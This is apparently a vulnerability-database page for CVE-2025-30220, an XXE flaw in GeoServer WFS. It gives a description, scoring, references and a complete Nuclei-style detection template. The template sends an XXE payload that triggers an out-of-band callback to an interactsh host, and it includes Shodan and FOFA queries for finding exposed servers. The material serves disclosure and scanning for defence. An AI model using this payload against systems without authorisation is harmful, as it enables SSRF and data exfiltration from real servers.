CVE-2025-30220: GeoServer WFS - XXE Processing Vulnerability

2025-08-01 GeoServer PoC Public

Description

GeoServer Web Feature Service (WFS) is vulnerable to an XML External Entity (XXE) processing attack due to improper handling of XML input. This vulnerability allows attackers to perform Out-of-Band (OOB) data exfiltration and Server-Side Request Forgery (SSRF) by exploiting the GeoTools library.

PoC

id: CVE-2025-30220

info:
  name: GeoServer WFS - XXE Processing Vulnerability
  author: iamnoooob,pdresearch,darses
  severity: critical
  description: |
    GeoServer Web Feature Service (WFS) is vulnerable to an XML External Entity (XXE) processing attack due to improper handling of XML input. This vulnerability allows attackers to perform Out-of-Band (OOB) data exfiltration and Server-Side Request Forgery (SSRF) by exploiting the GeoTools library.
  impact: |
    Unauthenticated attackers can exploit XXE vulnerabilities in GeoServer WFS to perform OOB data exfiltration and SSRF attacks, potentially accessing internal services and sensitive data.
  remediation: |
    Upgrade to the latest GeoServer version that properly disables external entity processing in WFS requests.
  reference:
    - https://github.com/geoserver/geoserver/security/advisories/GHSA-jj54-8f66-c5pc
    - https://docs.geoserver.org/latest/en/user/production/config.html#production-config-external-entities
    - https://github.com/geonetwork/core-geonetwork/pull/8757
    - https://github.com/geonetwork/core-geonetwork/pull/8803
    - https://github.com/geonetwork/core-geonetwork/pull/8812
    - https://geoserver.org/vulnerability/2025/06/10/cve-disclosure.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L
    cvss-score: 9.9
    cve-id: CVE-2025-30220
    cwe-id: CWE-611
    epss-score: 0.41426
    epss-percentile: 0.98601
  metadata:
    verified: true
    max-request: 8
    vendor: osgeo
    product: geoserver
    shodan-query:
      - title:"geoserver"
      - 'http.html_hash:1093634893 "Content-Disposition: inline"'
      - http.favicon.hash:97540678
      - html:"/geoserver/"
    fofa-query:
      - title="geoserver"
      - app="geoserver"
      - icon_hash="97540678"
      - body="/geoserver/"
  tags: cve,cve2025,geoserver,xxe,oast,oob,ssrf,unauth,vkev,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/geoserver/wfs?service=WFS&request=GetCapabilities"
      - "{{BaseURL}}/geoserver/ows?service=WFS&request=GetCapabilities"
      - "{{BaseURL}}/wfs?service=WFS&request=GetCapabilities"
      - "{{BaseURL}}/ows?service=WFS&request=GetCapabilities"

    stop-at-first-match: true

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains(body, "wfs:WFS_Capabilities")'
          - 'contains(content_type, "application/xml")'
          - "status_code == 200"
        condition: and

    extractors:
      - type: xpath
        name: featuretype
        internal: true
        xpath:
          - /wfs:WFS_Capabilities/FeatureTypeList/FeatureType[1]/Name

  - method: POST
    path:
      - "{{BaseURL}}/geoserver/wfs?service=WFS"
      - "{{BaseURL}}/geoserver/ows?service=WFS"
      - "{{BaseURL}}/wfs?service=WFS"
      - "{{BaseURL}}/ows?service=WFS"

    stop-at-first-match: true

    headers:
      Content-Type: "application/xml;charset=UTF-8"

    body: |
      <wfs:GetFeature service="WFS" version="1.0.0"
      xmlns:wfs="http://www.opengis.net/wfs"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:schemaLocation="http://a http://{{interactsh-url}}/xxe.xsd">
      <wfs:Query typeName="{{featuretype}}"/>
      </wfs:GetFeature>

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(body, "java.lang.NullPointerException")'
          - "status_code == 200"
        condition: and
# digest: 4a0a00473045022100be9e49dc3dec81b0539b228e6f68174ebea0e98837263ad12c942920fa9deed5022004891c19a9c1601c618cc23eb6fb30216c2b7c3a1332898823450bc535415cb7:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities